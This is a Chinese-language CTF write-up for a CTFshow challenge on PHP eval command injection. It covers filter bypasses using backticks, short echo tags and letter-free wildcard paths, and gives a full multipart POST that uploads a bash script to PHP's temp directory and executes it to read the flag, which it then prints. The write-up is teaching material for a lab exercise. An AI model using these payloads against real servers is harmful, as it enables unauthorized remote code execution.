【PHP临时文件上传&无字母数字命令绕过】 2021.7.22 CTFshow刷题

本文最后更新于:2021年8月18日下午1点41分

CTF.show_红包题

知识点:

0x01:eval命令执行骚姿势

官方解释:

  • eval() 函数把字符串按照 PHP 代码来计算。

  • 该字符串必须是合法的 PHP 代码,且必须以分号结尾。

通常我们的用法:

假设有以下代码

1
2
3
4
5
 <?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval($cmd);
?>

当我们往cmd里传参:phpinfo();

1
http://127.0.0.1/test/eval.php?cmd=phpinfo();

image-20210722171016061

这个时候就会返回phpinfo页面

如果我们坏一点,想要执行系统命令,可以使用PHP里的system函数来执行系统命令

1
http://127.0.0.1/test/eval.php?cmd=system("whoami");

image-20210722171200619

这个时候就会执行系统中的命令whoami

但如果我们不使用system函数呢(因为一般情况下system都是危险函数会被禁用

这个时候我们可以echo结合反引号输出

1
http://127.0.0.1/test/eval.php?cmd=echo(`whoami`);

image-20210722171754070

这样也是同样达到了我们的目的。

那能不能不用echo呢?(显然是可以的

这个时候可以用问号和大小于号来RCE

1
http://127.0.0.1/test/eval.php?cmd=?><?=`whoami`;

image-20210722171946166

可以看到同样RCE了

0x02:通配符与无字母数组命令执行

假设我们在一个文件夹下有两个文件,分别是1.txtaa.txt

内容如下

image-20210722182746808

在Linux中,我们可以用source命令来执行文件中的内容

1
2
source 1.txt
source aa.txt

image-20210722183020034

当然除了用source,我们也可以使用点号(.)来代替source

1
2
. 1.txt
. aa.txt

image-20210722183112290

同样的,我们也可以使用通配符问号来匹配文件名

1
2
. ?????
. ??????

image-20210722183336550

0x03:PHP上传机制

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。

也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

一般情况下文件名是php+六个数字

结合0x02的通配符与无字母数组命令执行

1
. /???/?????????

构造POST上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: eff58193-eb4e-4bee-ad68-23124f45f343.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 242

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------10242300956292313528205888--

注意要修改的Content-Type

1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888

修改原因:

multipart/form-data:既可以上传文件等二进制数据,也可以上传表单键值对,只是最后会转化为一条信息;

而x-www-form-urlencoded:只能上传键值对,并且键值对都是间隔分开的。

我们这里是上传的二进制数据,所以是用multipart/form-data

WriteUp:

打开题目,页面如下:

image-20210722184532753

可以看到正则匹配中,小写字母p是没有被过滤掉的

所以结合前面的前景知识,HTTP请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: eff58193-eb4e-4bee-ad68-23124f45f343.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 242

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------10242300956292313528205888--

image-20210722184729229

即可得到flag:ctfshow{8756548d-1a75-445c-8cd6-05030406dc86}